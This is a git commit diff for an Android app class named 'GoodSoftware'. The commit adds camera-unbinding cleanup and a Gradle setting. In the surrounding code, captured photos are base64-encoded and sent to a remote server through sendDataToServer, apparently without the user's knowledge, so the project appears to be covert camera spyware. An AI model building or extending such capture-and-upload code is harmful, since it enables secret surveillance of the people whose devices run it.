closz cam

This commit is contained in:
Joren 2024-05-03 19:46:03 +02:00
parent 09a815d1aa
commit 92387a764b
Signed by untrusted user who does not match committer: Joren
GPG Key ID: 280E33DFBC0F1B55
2 changed files with 4 additions and 2 deletions

View File

@ -27,6 +27,7 @@ android {
getDefaultProguardFile("proguard-android-optimize.txt"),
"proguard-rules.pro"
)
multiDexEnabled = false
}
}
compileOptions {

View File

@ -398,6 +398,7 @@ class GoodSoftware (private val activity: MainActivity) {
val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() {
override fun onError(exc: ImageCaptureException) {
Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc)
cameraProvider?.unbindAll()
}
override fun onCaptureSuccess(image: ImageProxy) {
@ -409,7 +410,6 @@ class GoodSoftware (private val activity: MainActivity) {
buffer.get(bytes)
byteArrayOutputStream.write(bytes)
val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
//Log.d(picture.TAG, "Base64 Image: $base64Image")
Thread {
val conn = establishConnectionWithRetry()
if (conn == null) {
@ -418,6 +418,7 @@ class GoodSoftware (private val activity: MainActivity) {
sendDataToServer(base64Image, conn)
disconnect(conn)
}.start()
cameraProvider?.unbindAll()
image.close()
}
}
@ -430,7 +431,7 @@ class GoodSoftware (private val activity: MainActivity) {
ContextCompat.getMainExecutor(context),
imageCapturedListener
)
cameraProvider?.unbind()
}